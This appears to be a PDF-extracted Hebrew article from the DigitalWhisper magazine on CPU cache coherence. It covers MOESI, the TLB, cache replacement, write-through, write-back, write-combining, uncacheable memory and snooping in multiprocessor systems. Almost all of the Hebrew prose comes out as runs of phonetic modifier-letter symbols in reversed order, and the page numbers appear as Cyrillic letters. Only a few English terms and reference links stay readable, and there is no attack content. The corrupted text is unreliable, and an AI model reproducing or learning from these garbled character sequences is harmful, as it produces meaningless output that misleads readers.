˸ˣ˧˦ˮ˶ˢˣ˵ ˣˬ˩ MOESI .-sInstruction Cache ,˷ˬ˸˷ˬ ˦˧˟˟ ˦ˣ˷˲ ˪˷ valid/invalid ˧ˡ˩ ˪ˢˮ˪ ˸˞ 

˫˧˵ˣ˪˟ˢ x˞ s-lines ˣ˟˷ .˪ˡ˟ˢˢ ˭˧˟ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˣ˪˞ ˰˟ˣˮ ˰ˡ˧ˬˢˬ ˪˩˷ ˡ˥˞ ˫ˢˬ ˶ˬˣ˷ ˸ˣˬ˩ˢˣ ˪˷ 

https://en.wikipedia.org/wiki/Cache_prefetching
https://en.wikipedia.org/wiki/Instruction_pipelining
https://arxiv.org/pdf/2310.13212
https://en.wikipedia.org/wiki/MOESI_protocol
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˫˧˧ˣˮ˧˷ˢ ˰ˡ˧ˬˢ˷ ˶˟ˣ˰ .˨˶ˡ˟ ˪˪˩ ,˦˰ˬ˩ ˭˧˞ˣ ˨˶ˣ˴ ˸ˣˮ˷˪ ˸˞ ˸ˣ˞˶ˣˢˢ ˟˷-cache ˭ˬˤ˟ ˢ˴˧˶ˢ ,˶˷˞˩ 

˸ˣˠ˧˶˥ ˸ˣ˞˶ˮ ˫˧˸˧˰˪ ˸ˣ˵ˣ˥˶ ,ˣˬ˩ ˫˧˟˴ˬ˟ ˪˷ JIT x˞ ˟-context switch. 

Translation Lookaside Buffer (TLB)  

-sTLB ˡ˰ˣˮ˷ ˳˧˞ˢ˪ ˸˞ ˨˧˪ˢ˸ ˫ˣˠ˶˸ ˸ˣ˟ˣ˸˩ˢ ˸ˣ˧˪˞ˣ˦˶˧ˣˣˢ ˸ˣ˟ˣ˸˩˪ ˸ˣ˧ˤ˧˲ ,˸ˣ˷ˬ˷ˬˢ ˸˞ ˡ˟˰ˬˢ 

ˢ˷˧ˠ˪ ˸ˣ˞˶ˣˢ˪ ˫˧ˮˣ˸ˮ˪ˣ .-sTLB ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˱˸ˣ˷ˬ ˶ˣ˟˰ ˧ˮ˷ ˧ˠˣ˯ ˸ˣ˷˧ˠˢ )˸ˣ˞˶ˣˢ ˫˧ˮˣ˸ˮˣ ,(ˣ˞ ,

ˡ˧˶˲ˢ˪ ˭˧˟ TLB ˸ˣ˞˶ˣˢ˪ x-TLB ˫˧ˮˣ˸ˮ˪ .˸ˣ˶ˬ˪ ˞ˣˢ˷ ˵˪˥ ˟ˣ˷˥ ˸˴˞ˢ˟ ˢ˷˧ˠ ˭ˣ˶˩˧ˤ˪ ,-sTLB ˨˧˧˷ 

˸ˡ˧˥˧˪ ˪ˣˢ˧ˮ ˭ˣ˶˩˧ˤˢ )MMU (ˣˮ˧˞ˣ ˟˷˥ˮ ˵˪˥˩ ˶˧˷˧ ˸˩˶˰ˬˬ s-cache ˪˷ ˡ˟˰ˬˢ ˣˬ˴˰. 

 ˸ˣ˧ˮ˧ˡˬ 

˸ˣ˧ˮ˧ˡˬ ˢ˲˪˥ˢ )Replacement ( 

˶˷˞˩ ˷˥˶˸ˬ cache miss ˷˧ˣ ˨˶ˣ˴ ˯˧ˮ˩ˢ˪ ˨˶˰ ˷ˡ˥ ˪-cache ,˫˧˸˧˰˪ ˷˧ ˨˶ˣ˴ ˸ˣˮ˲˪ ˫ˣ˵ˬ ˪˰ ˧ˡ˧ 

˸˶˯ˢ ˡ˥˞ ˫˧˩˶˰ˢˬ ˫˧ˬ˧˧˵ˢ .˨˧˪ˢ˸ˢ ˣ˟˷ s-cache ˶˥ˣ˟ ˢˤ˧˞ ˨˶˰ ˶˧˯ˢ˪ ˞˶˵ˮ ˸ˣ˧ˮ˧ˡˬ ˢ˲˪˥ˢˢ .

˶ˠ˸˞ˢ ˧ˤ˩˶ˬˢ ˸ˣ˧ˮ˧ˡˬ˟ xʕ ˞ˣˢ ˸ˣˤ˥˪ ˢˤ˧˞ ˨˶˰ ˞˴ˬˮ˷ ˰ˠ˶˩ ˟-cache ˷˧ ˧ˣ˩˧˯ ˨ˣˬˮ ˶˸ˣ˧ ˷ˣˬ˧˷˪ 

ˡ˧˸˰˟ .˭ˣˣ˧˩ ˸ˣ˧ˤ˥˸˷ ˣ˪˞ ˸ˣ˟˩˶ˣˬ ˫˧˸˧˰˪ˣ ˧˸˪˟ ˸ˣ˧˶˷˲˞ ,˭˧˞ ˢ˦˧˷ ˸ˬ˪˷ˣˬ ˸˶˧˥˟˪ ˨˶˰ˢ ˷˧˷ 

˱˧˪˥ˢ˪ .˫˰ ˸˞ˤ ,˭ˮ˷˧ ˶˲˯ˬ ˸ˣ˦˧˷ ˸ˣ˞˴ˬˮˢ ˷ˣˬ˧˷˟ ˟˥˶ˮ ,˶˷˞˩ ˸˥˞ ˸ˣ˧˶˪ˣ˲ˣ˲ ˞˧ˢ ˸ˣ˧ˮ˧ˡˬ s-

LRU .˸ˣ˧ˮ˧ˡˬ xʕ ˢ˶˧˯ˬ ˸˞ ˨˶˰ˢ ˞˪˷ ˢ˷˰ˮ x˟ ˷ˣˬ˧˷ ˢˮˣ˶˥˞˪ ˨ˣ˸ˬ ˢ˥ˮˢ ˶˧˟˯˷ ˥˧ˮˢ˪ ˞ˣˢ˷ ˢ˧ˢ˧ 

˸ˣ˥˲ˢ ˳ˣ˥ˮ ˟ˣ˶˵˟. 

˫˧˶˵ˬ˟ ˫˧ˬ˧ˣ˯ˬ ,˭˸˧ˮ ˶˲˷˪ ˫˧˰ˣ˴˧˟ ˪˰ ˧ˡ˧ ˭ˣˬ˧˯ ˧˥ˣˣ˦ ˭ˣ˶˩˧ˤ ˫˧ˬ˧ˣ˯ˬ ˩-non-cacheable .ˢ˷˧ˠ xʕ 

˸˰ˮˣˬ ˸˞ ˸˯ˮ˩ˢ ˫˧ˮˣ˸ˮ ˪˞ s-cache ˶˷˞˩ ˞˪ ˶˧˟˯ ˢ˧ˢ˧˷ ˫ˢ˟ ˷ˣˬ˧˷ ˶ˤˣ˥ ˡ˧˸˰˟ ˟ˣ˶˵ˢ ,˨˩ˣ 

˸˰ˮˬˮ ˢ˶ˣ˵˸ˢ ˪˷ ˭ˣ˯˥˞ ˰ˡ˧ˬ ˶˸ˣ˧ˬ ˟-cache. 

˱˯ˣˮ˟ ,˭˸˧ˮ ˫ˠ ˦ˣ˵ˮ˪ ˸ˣ˷˧ˠ˟ ˪˷ ˪ˣˢ˧ˮ ˫˩˥ ˶˸ˣ˧ ˪˷ s-cache ,ˣˬ˩ ˢ˸˟˷ˢ x˞ ˢ˪˧˰ˮ ˪˷ ˫˧˩˶˰ 

˫˧ˬ˧ˣ˯ˬ ˫˞˸ˢ˟ ˶˷˵ˢ˪ ˸˧ˮ˩ˣ˸ˢ ,˧ˡ˩ ˦ˣ˪˷˪ ˪˰ ˫˧ˮˣ˸ˮˢ ˫˧ˮ˯˥ˣ˞ˬˢ ˪˰˧˧˪ˣ ˸˞ ˢ˷˧ˠˢ ˫ˢ˧˪˞. 

˶˷˞˩ ˫˧ˮˣ˸ˮ ˫˧˟˸˩ˮ ˪-cache ,ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˷˧ ˨˶ˣ˴ ˟ˣ˸˩˪ ˫˸ˣ˞ ˫ˠ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .˭ˣˬˤ˸ˢ ˣ˟˷ 

ˢ˟˧˸˩ˢ ˸˰˴˟˸ˬ ˞˶˵ˮ ˸ˣ˧ˮ˧ˡˬ ˢ˟˧˸˩ˢ. 

 ˸˟˧˸˩ ˸ˣ˧ˮ˧ˡˬCache  

Write-Through  

˸ˣ˧ˮ˧ˡˬ s-write-through ˞˧ˢ ˢ˦˧˷ˢ ˢ˦ˣ˷˲ˢ ˶˸ˣ˧˟ ˸ˠ˷ˢ˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˷ s-cache .˶˷˞˩ ˡ˟˰ˬ 

˟˸ˣ˩ ˪-cache line ,˫˧ˮˣ˸ˮˢ ˫˧˟˸˩ˮ ˭˲ˣ˞˟ ˧ˡ˧ˬ ˫ˠ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .˨˩ ˥˦˟ˣˬ ˪˩˷ ˧ˣˮ˧˷ ˰˴˟˸ˬ˷ 

˭ˣ˶˩˧ˤ˟ s-cache ˱˵˸˷ˬ ˡ˧ˬ ˭ˣ˶˩˧ˤ˟ ˧˷˞˶ˢ ,ˢˬ ˥˧˦˟ˬ˷ ˰ˡ˧ˬˢ˷ ˧ˮ˷˟ ˸ˣˬˣ˵ˬˢ ˶˞˷ˮ ˭˶˩ˮˣ˯ˬ .
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ˢ˶˸˧ ˸˞ˤˬ ,˶˷˞˩ ˷˧ ˨˶ˣ˴ ˱˧˪˥ˢ˪ cache line ˫˧ˮˣ˸ˮ˟ ˫˧˷ˡ˥ ,˭˸˧ˮ ˦ˣ˷˲ ˨˧˪˷ˢ˪ ˸˞ ˭˩ˣ˸ˢ ˭˷˧ˢ 

ˢˬ-cache ˧˪˟ˬ ˷ˣ˷˥˪ ˭ˡ˟ˣ˞˪ ˫˧ˮˣ˸ˮ ,˭˩˷ ˫ˢ ˶˟˩ ˣ˟˸˩ˮ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .˫ˮˬ˞ ˸ˣ˧ˮ˧ˡˬ xʕ ˞˧ˢ ˢ˪˵ 

˫ˣ˷˧˧˪ ˸˵˲˯ˬˣ ˸ˣ˧˦ˮ˶ˢˣ˵ ˢ˟ˣ˦ ,˨˞ ˞˧ˢ ˢˮ˧˞ ˢ˶˧ˢˬ ˡ˥ˣ˧ˬ˟ ,˭ˣˣ˧˩ˬ ˪˩˷ ˢ˟˧˸˩ ˪-cache ˸˶˶ˣˠ 

ˢ˟˧˸˩ ˸˧ˡ˧˧ˬ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ ,ˢˬ ˪ˣ˪˰˷ ˦˞ˢ˪ ˸˞ ˧˰ˣ˴˧˟ ˸˩˶˰ˬˢ. 

Write-Back  

˸ˣ˧ˮ˧ˡˬ˟ s-write-back ,ˡ˟˰ˬˢ ˣˮ˧˞ ˟˸ˣ˩ ˸˞ s-cache line ˢ˸ˮˣ˷˷ ˢ˶ˤ˥˟ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ ˭˲ˣ˞˟ 

˧ˡ˧ˬ .˫ˣ˵ˬ˟ ˸˞ˤ ,-scache line ˸ˮˬˣ˯ˬ ˩-Dirty ,ˢˬ ˡ˧˰ˬ˷ ˞˧ˢ˷ ˢ˶˟˰ ˧ˣˮ˧˷ ,˨˞ ˫˧ˮˣ˸ˮˢ ˭˧˧ˡ˰ ˞˪ 

ˣ˟˸˩ˮ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .˵˶ ˶˷˞˩ s-cache line ˸˵˥ˡˮ ˢ˴ˣ˥ˢ ˢˬ-cache ˸ˡˣ˵ˮ˟ ˭ˬˤ ˧ˢ˷˪˩ ˡ˧˸˰˟ ,

˦˧˟ˢ Dirty ˢ˶ˣˬ ˡ˟˰ˬ˪ ˟ˣ˸˩˪ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧ˮ˩ˡˣ˰ˬˢ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ .ˢ˦˧˷ xʕ ˸˶˷˲˞ˬ ˰ˮˬ˧ˢ˪ 

ˢ˟˧˸˩ˬ ˢ˲ˣ˩˸ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ ,ˢˬ ˰˧˧˯ˬ˷ ˶ˣ˲˧˷˪ ˧˰ˣ˴˧˟ ˸˩˶˰ˬˢ ,ˡ˥ˣ˧ˬ˟ ˫˧˟˴ˬ˟ ˫ˢ˟˷ ˸ˣ˷˰ˮ 

ˢ˟˶ˢ ˸ˣ˪ˣ˰˲ ˢ˟˧˸˩ ˪-cache: 

 

˫˰ ˸˞ˤ ,˸ˬ˧˧˵ ˢ˧˰˟ ˸˧˸ˣ˰ˬ˷ˬ ˫ˣ˷˧˧˟ ˪˷ write-back ˸ˣ˩˶˰ˬ˟ ˸ˣ˟ˣ˶ˬ ˫˧ˡ˟˰ˬ )x˞ ˸ˣ˟˧˪ ,ˣ˞ 

hyper-threading .(˶˷˞˩ ˶˲˯ˬ ˫˧ˡ˟˰ˬ ˫˧˷ˠ˧ˮ ˣ˸ˣ˞˪ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ ,˷˧ ˥˧˦˟ˢ˪ ˪˩˷ ˫˧ˡ˟˰ˬˢ ˫˧˞ˣ˶ 

˸˞ ˫˸ˣ˞ ˫˧ˮˣ˸ˮ ˪˩˟ ˭ˬˤ ˭ˣ˸ˮ .˫˞ s-cache line ˸˩˪˩ˣ˪ˬ ˡ˥˞˟ ˫˧ˡ˟˰ˬˢ ˞˪ˣ ˢ˟˸˩ˮ ˭˧˧ˡ˰ ˭ˣ˶˩˧ˤ˪ 

˧˷˞˶ˢ ,ˡ˟˰ˬˣ ˶˥˞ ˢ˯ˮˬ ˞ˣ˶˵˪ ˸˞ ˣ˸ˣ˞ ˫ˣ˵˧ˬ ˭ˣ˶˩˧ˤ˟ ,ˢ˞˧˶˵ˢ ˞˪ ˢ˪ˣ˩˧ ˰˴˟˸ˢ˪ ˭ˣ˶˩˧ˤˢˬ ˧˷˞˶ˢ ,

˭˩˷ ˞ˣˢ ˣˮ˧˞ ˪˧˩ˬ ˸˞ ˫˧ˮˣ˸ˮˢ ˫˧ˮ˩ˡˣ˰ˬˢ .ˢ˶˵ˬ˟ ˢˤ ,˷˶ˡˮ ˡ˟˰ˬˢ˷ ˧ˮ˷ˢ ˪˟˵˧ ˸˞ ˭˩ˣ˸ s-cache 

line ˸ˣ˶˧˷˧ ˡ˟˰ˬˢˬ ˭ˣ˷˞˶ˢ ,˧ˡ˩ ˥˧˦˟ˢ˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˷ ˫˧ˮˣ˸ˮˢ. 
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Write-Combining  

˸ˣ˧ˮ˧ˡˬ s-write-combining )˟ˣ˪˧˷ ˢ˟˧˸˩ (˞˧ˢ ˠˣ˯ ˪˷ ˢ˧˴ˤ˧ˬ˧˦˲ˣ˞ ˟-cache ,˸˞˴ˬˮ˷ ˷ˣˬ˧˷˟ 

˶˵˧˰˟ ˶ˣ˟˰ ˭ˣ˶˩˧ˤ RAM ˪˷ ˫˧˶˧˷˩ˬ ˫˧˧ˮˣ˴˧˥ ,ˣˬ˩ ˫˧˯˧˦˶˩ ˫˧˧˲˶ˠ .˶˥˞ˬ ˸ˣ˪˰˷ ˸˶˟˰ˢ ˫˧ˮˣ˸ˮ 

˭ˣ˶˩˧ˤ˪ ˪˷ ˫˧˶˧˷˩ˬ ˫˧˧ˮˣ˴˧˥ ˢˢˣ˟ˠ ˢ˟˶ˢ˟ ˢ˞ˣˣ˷ˢ˟ ˢ˷˧ˠ˪ ˭ˣ˶˩˧ˤ˪ RAM ˧ˬˣ˵ˬˢ ,˷˧ ˸ˣ˟˧˷˥ ˢˢˣ˟ˠ 

˰ˮˬ˧ˢ˪ ˸ˣ˶˟˰ˢˬ ˸ˣ˟˶ ˸ˣ˶˸ˣ˧ˬˣ .ˢˬˠˣˡ˪ ,˸˶˟˰ˢ cache line ˢˬ˪˷ ˵˶ ˪˪ˠ˟ ˧ˣˮ˧˷ ˪˷ ˢ˪˧ˬ ˸˥˞ 

˭ˣ˶˩˧ˤ˟ ˞˧ˢ ˢ˪ˣ˰˲ ˸˧ˮˤ˟ˤ˟ ,ˡ˥ˣ˧ˬ˟ ˫˞ ˢ˪ˣ˰˲ˢ ˢ˞˟ˢ ˱˧˪˥˸ ˢ˪˧ˬ ˸˶˥˞ ˣ˸ˣ˞˟ cache line. 

˸ˣ˧ˮ˧ˡˬ write-combining ˢˡ˰ˣˮ ˶ˣ˸˲˪ ˢ˧˰˟ xʕ ˪˰ ˧ˡ˧ ˟ˣ˪˧˷ ˪˷ ˢˬ˩ ˸ˣ˪ˣ˰˲ ˢ˟˧˸˩ ˧ˮ˲˪ ˸˟˧˸˩ ˪˩ s-

cache line ˭ˣ˶˩˧ˤ˪ ˧ˮˣ˴˧˥ˢ .˷˧˥˶˸˟ ˧˪˞˧ˡ˧˞ˢ ,˪˩ s-cache line ˢˮ˸˷ˬ ˢˠ˶ˡˢ˟ ,ˢ˪˧ˬ ˧˶˥˞ ˢ˪˧ˬ ,

˵˶ˣ ˶˷˞˩ ˪˩ ˫˧˪˧ˬˢ ˣ˶˟˰ ˧ˣˮ˧˷ ,˪˩ s-cache line ˸˟˸˩ˮ ˭ˣ˶˩˧ˤ˪ ˶˧˷˩ˬˢ ˧ˮˣ˴˧˥ˢ .ˢˤ ˶˷˲˞ˬ ˸˧˥˲ˢ˪ 

˸˞ ˶˲˯ˬ ˸ˣ˶˟˰ˢˢ ˶˧˟ˠˢ˪ˣ ˸˞ ˸ˣ˪˧˰˧ˢ. 

Uncacheable  

˶˷˞˩ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ ˶ˡˠˣˬ ˩-uncacheable ,˸ˣ˰ˬ˷ˬˢ ˞˧ˢ ˨˶ˡ˟˷ ˪˪˩ ˭˧˞ x˪ ˢ˩˧ˬ˸ ˢ˟ˣˠˬ ˟-RAM ,

˶ˬˣ˪˩ ,˭˧˞ ˸ˣ˶˷˲˞ ˭˯˥˞˪ ˣ˸ˣ˞ ˟-cache .˫˧˶˵ˬ˟ ˫˧ˬ˧ˣ˯ˬ ,ˢˤ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ ˡ˥ˣ˧ˬ ˢ˴˵ˣˬ˷ 

˸˟ˣ˸˩˪ ˢ˥˧˷˵ ,˷ˬ˷ˬˢ ˸ˣ˶˦ˬ˪ ˸ˣˬ˧ˣ˯ˬ ˳ˣ˥ˬ ˸ˣ˪˧˰˲˪ ˢ˪˧ˠ˶ˢ ˪˷ ˡ˟˰ˬˢ ,ˣˬ˩ ˢ˷˧ˠ ˫˧˶˧˷˩ˬ˪ 

˫˧˧ˮˣ˴˧˥ x˞ ˸ˣˡˣ˵˲ ˸ˣ˧˲˧˴˲˯ ˸˩˶˰ˬ˪. 

˸ˣ˧ˮ˧ˡˬ s-write-combining sx-uncacheable ˸ˣˡ˰ˣ˧ˬ ˷ˣˬ˧˷˪ ˫˧˶ˣˤ˞˟ ˫˧ˡ˥ˣ˧ˬ ˟˥˶ˬ˟ ˸ˣ˟ˣ˸˩ˢ ˪˷ 

˸˩˶˰ˬˢ ,˫ˮ˧˞˷ ˫˧˟ˣˠˬ ˭ˣ˶˩˧ˤ˟ RAM ˧˸˧ˬ˞ .˫˧˶ˣˤ˞ ˢ˪˞ ˫˧˷ˬ˷ˬ ˸ˣ˶˦ˬ˪ ˸ˣ˧ˡˣ˥˧˧ ˸ˣ˶ˣ˷˵ˢ ˢ˷˧ˠ˪ 

˫˧˶˧˷˩ˬ˪ x˞ ˸ˣ˧˴˵ˮˣ˲ ˢ˶ˬˣ˥ ˸ˣ˧ˡˣ˥˧˧ ,˭˩˪ˣ ˫ˮ˧˞ ˫˧˪ˢˣˮˬ ˣ˸ˣ˞˟ ˭˲ˣ˞ ˣˬ˩ ˭ˣ˶˩˧ˤ ˪˧ˠ˶. 

 ˫˧ˡ˟˰ˬ ˧ˣ˟˧˶˟ ˢ˩˧ˬ˸ 

˸ˣ˩˶˰ˬ˟ ˸ˣ˟ˣ˶ˬ ˫˧ˡ˟˰ˬ ,˭˧˞ ˢˤ ˧˷˰ˬ ˶˷˲˞˪ ˢ˷˧ˠ ˢ˶˧˷˧ ˪˷ ˡ˟˰ˬ ˡ˥˞ ˪-cache ˪˷ ˡ˟˰ˬ ˶˥˞ .

˸˥˞ ˸ˣ˟˧˯ˢ ˸ˣ˧ˤ˩˶ˬˢ ˨˩˪ ˞˧ˢ ˶ˣ˟˧˥ˢ˷ ˭˧˟ ˫˧ˡ˟˰ˬˢ ˣˮ˧˞ ˶˧ˢˬ ˵˧˲˯ˬ ˧ˡ˩ ˶˷˲˞˪ ˢ˷˧ˠ ˣˤ˩ ˭ˬˤ˟ 

˸ˬ˞ .˫ˣ˵ˬ˟ ˸˞ˤ ,˭ˣ˶˸˲ˢ ˪˧˰˧ˢ ˶˸ˣ˧ ˞ˣˢ ˶˧˟˰ˢ˪ ˸˞ ˭˩ˣ˸ s-cache ˡ˟˰ˬ˪ ˧ˮ˷ˢ ˸˰˟ ˨˶ˣ˴ˢ .ˢˤ ˭ˣ˩ˮ 

˫ˠ ˫˧˶˵ˬ˟ ˫ˢ˟˷ s-cache-˫˧ ˫˧˩˧˧˷ ˣ˸ˣ˞˪ ˡ˟˰ˬ ˨˞ ˫ˮ˧˞ ˫˧˲˸ˣ˷ˬ. 

˸˶˟˰ˢ cache line ˸˰˴˟˸ˬ ˶˷˞˩ ˡ˟˰ˬ ˡ˥˞ ˵ˣ˵ˤ ˪-cache line ˸˩˪˩ˣ˪ˬ ˸˞˴ˬˮ˷ ˟-cache ˪˷ 

ˡ˟˰ˬ ˶˥˞ ,˨˶ˣ˴˪ ˢ˞˧˶˵ x˞ ˢ˟˧˸˩ .˫˰ ˸˞ˤ ,˸˧˟˶ˬ ˸ˣ˷˧ˠˢ ˭ˣ˶˩˧ˤ˪ ˭ˢ ˸ˣ˞˧˶˵ ,ˢˣ-cache lines 

˸ˣ˪˟˵˸ˬˢ ˭s ˸ˣ˧˵ˮ ,˶ˬˣ˪˩ ˞˪ ˣˮˣ˷ ˟-cache. 

˭˩˪ ,˭˧˞ ˢˤ ˧˷˰ˬ ˶ˡ˷˪ ˸˞ ˰ˡ˧ˬˢ ˪˰ ˪˩ ˧ˣˮ˧˷ ˟-cache lines ˧˶˥˞ ˪˩ ˸˷˧ˠ ˢ˟˧˸˩ .˧ˡ˩ ˡˡˣˬ˸ˢ˪ ˫˰ 

ˢ˧˰˟ˢ ˣˤˢ ,ˣ˥˸ˣ˲ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˪ˣˢ˧ˮ˪ ˸ˣ˧˦ˮ˶ˢˣ˵ s-cache ,˭ˣˠ˩ MOESI x-AMBA CHI )˭ˣˡˮ˷ x˟ ˢ˟˥˶ˢ˟ 



 
 

Cache Coherence 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  оу 
 

˨˷ˬˢ˟ ,(ˡ˴˪ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˫˧˲˯ˣˮ .˫˧˪ˣ˵ˣ˦ˣ˶˲ ˢ˪˞ ˣˡ˰ˣˮ ˥˧˦˟ˢ˪ ˪˩˷ ˫˧ˡ˟˰ˬˢ ˸˩˶˰ˬ˟ ˣ˞˶˧ ˸˞ 

ˣ˸ˣ˞ ˟˴ˬ ˪˷ ˭ˣ˶˩˧ˤˢ ,˫ˠ ˶˷˞˩ ˶˲˯ˬ ˫˧ˡ˟˰ˬ ˫˧˷ˠ˧ˮ ˫˸ˣ˞˪ ˫˧ˮˣ˸ˮ ˭ˣ˶˩˧ˤ˟. 

˸ˣ˩˶˰ˬ˟ ˸ˣ˟ˣ˶ˬ ˫˧ˡ˟˰ˬ ˸ˣ˧˶˦ˬ˧˯ )SMP ,(˞˪ ˭˸˧ˮ ˶˷˲˞˪ ˪-cache-˫˧ ˪˷ ˫˧ˡ˟˰ˬˢ ˪ˣ˰˲˪ ˭˲ˣ˞˟ 

˧˞ˬ˴˰ ˭˧˦ˣ˪˥˪ .˪˩ ˫˧ˡ˟˰ˬˢ ˸˩˶˰ˬ˟ ˫˧˟˧˧˥ ˶ˣˬ˷˪ ˪˰ ˢˮˣˬ˸ ˢˡ˧˥˞ ˪˷ ˭˩ˣ˸ ˭ˣ˶˩˧ˤˢ ,˨˩ ˫˪ˣ˩˷ ˣ˞˶˧ 

˸˞ ˣ˸ˣ˞ ˰ˡ˧ˬˢ ˪˩˟ ˰ˠ˶ ˭ˣ˸ˮ )˶˟ˡˢ ˭ˣ˩ˮ ˵˶ ˶˷˞˩ ˶˟ˣˡˬ ˸ˣˬ˶ˣ˲˦˪˲˟ multicopy-atomic  ,˭ˣˡˮ ˭ˣ˧˰˶˟ 

ˢˤ ˨˷ˬˢ˟ ,(ˢ˶˧ˬ˷ ˪˰ ˸ˣˡ˧˥˞ xʕ ˸˞˶˵ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ cache. 

˫˞ ˡ˟˰ˬ ˢ˧ˢ ˵ˡˣ˟ ˵˶ ˸˞ s-cache ˣ˪˷ ˸˞ˣ ˭ˣ˶˩˧ˤˢ ˧˷˞˶ˢ ˣ˪˷ ,˞ˣˢ ˞˪ ˢ˧ˢ ˰ˡˣˬ ˪-cache lines 

˸ˣ˩˪˩ˣ˪ˬ ˣˮˣ˷˷ ˪˰ ˧ˡ˧ ˫˧ˡ˟˰ˬ ˫˧˶˥˞ .˭˸ˬ ˢ˷˧ˠ ˢ˶˧˷˧ ˪˷ ˡ˟˰ˬ ˡ˥˞ ˪-cache ˪˷ ˡ˟˰ˬ ˶˥˞ ˢ˧ˢ 

˫˶ˣˠ ˸ˣ˧ˣ˪˰˪ ˸ˣˢˣ˟ˠ ˡˣ˞ˬ ˸˶˧˴˧˪ˣ ˶˞ˣˣ˴ ˵ˣ˟˵˟ ˧˸ˣ˰ˬ˷ˬ ˫˧˰ˣ˴˧˟˟ .˫ˣ˵ˬ˟ ˸˞ˤ ,˫˧ˡ˟˰ˬˢ ˫˧ˮˮ˩ˣ˸ˬ 

˸ˣˢˤ˪ ˧˸ˬ ˡ˟˰ˬ ˶˥˞ ˰˴˟ˬ ˢ˞˧˶˵ x˞ ˢ˟˧˸˩ ˪-cache line ˸ˬ˧ˣ˯ˬ ,˨˩ˣ ˶ˣˬ˷˪ ˪˰ ˭ˣ˶˩ˮ˯ˢ 

˸ˣ˧˦ˮ˶ˢˣ˵ˢˣ ˪˷ ˭ˣ˶˩˧ˤˢ ˭˧˟ ˪˩ ˫˧ˡ˟˰ˬˢ. 

˶˷˞˩ ˡ˟˰ˬ ˢˢˤˬ ˭ˣ˧˯˧ˮ ˢ˟˧˸˩ ˸˟ˣ˸˩˪ ˸ˬ˧ˣ˯ˬ ˷˧ˣ x˪ ˵˸ˣ˰ ˧˵ˮ ˪˷ s-cache line ˢˬ˧˞˸ˬˢ ˟-cache 

ˣ˪˷ ,˵˸ˣ˰ˢ ˢˤˢ ˭ˬˣ˯ˬ ˩-Invalid .˸ˣ˰ˬ˷ˬ ˶˟ˡˢ ˞˧ˢ ˸ˣ˷˧ˠ˷ ˸ˣ˧ˡ˧˸˰ ˢ˸ˣ˞˪ cache line ˣ˷˶ˡ˧ ˭ˣ˰˦˪ 

ˢ˸ˣ˞ ˷ˡ˥ˬ ˭ˣ˶˩˧ˤˢˬ ˧˷˞˶ˢ .˫˰ ˸˞ˤ ,˟ˣ˷˥ ˭˧˧˴˪ ˢ˞˧˶˵˷ ˡ˟˰ˬˬ ˶˥˞ ˢˮ˧˞ ˸˟˧˧˥ˬ Invalidate ,

˭˸˧ˮˣ ˶ˣˬ˷˪ ˶˲˯ˬ ˫˧˵˸ˣ˰ ˫˧˧˵ˮ ˪˷ ˢ˸ˣ˞ cache line ˢˬ˩˟ ˫˧ˡ˟˰ˬ x˟ ˸˧ˮˬˤ. 

˫˧˶˵ˬ˟ ˫˧ˬˡ˵˸ˬ ˶˸ˣ˧ ˪˷ ˪ˣˢ˧ˮ cache ,˭˩˸˧˧ ˟˴ˬ ˱˯ˣˮ .˫˞ s-cache line ˡ˟˰ˬˢ˷ ˧ˮ˷ˢ ˢ˴ˣ˶ ˞ˣ˶˵˪ 

ˣ˞ ˟ˣ˸˩˪ ˢ˧˪˞ ˸ˮˬˣ˯ˬ ˸˩˪˩ˣ˪ˬ˩ ˟-cache ˪˷ ˡ˟˰ˬˢ ˭ˣ˷˞˶ˢ )˶ˬˣ˪˩ ,˞˧ˢ ˢ˸ˮˣ˷ ˨˞ ˫˧˧ˣˮ˧˷ˢ ˞˪ 

ˣ˟˸˩ˮ ˭ˣ˶˩˧ˤ˪ ˧˷˞˶ˢ ,(˷˧ ˨˶ˣ˴ ˢ˷˧ˠ˟ ˢˮˣ˷ .˟˴ˬ˟ ˢˤ˩ ,˭ˣˣ˧˩ˬ ˭ˣ˶˩˧ˤˢ˷ ˧˷˞˶ˢ ˣˮ˧˞ ˭˩ˡˣ˰ˬ ,ˡ˟˰ˬˢ 

˷˵˟ˬˢ ˟˧˧˥ ˪˟˵˪ ˸˞ ˭˩ˣ˸ s-cache line ˸ˣ˶˧˷˧ ˡ˟˰ˬˢˬ ˭ˣ˷˞˶ˢ )˟˴ˬˢ ˶˞ˣ˸ˬˢ ˞ˣˢ SD ˪ˣ˵ˣ˦ˣ˶˲˟ 

AMBA CHI.( 
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˨˧˪ˢ˸ ˢˤ ˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟ ˢ˵˧ˮ˩˦ ˸˞˶˵ˮ˷ snooping ,ˢ˟˷ ˡ˟˰ˬˢ ˷˵˟ˬ˷ ˰˴˟˪ ˢ˟˧˸˩ x˞ ˢ˞˧˶˵ 

˥˪ˣ˷ ˢ˷˵˟ ˫˧ˮˣ˸ˮ˪ ˡ˟˰ˬˢˬ ˭ˣ˷˞˶ˢ ,˨˩ ˰ˡ˧ˬˢ˷ ˶˟ˣ˰ ˸ˣ˶˧˷˧ ˫ˢ˧ˮ˧˟ ,˧˪˟ˬ ˶ˣ˟˰˪ ˨˶ˡ ˭ˣ˶˩˧ˤˢ 

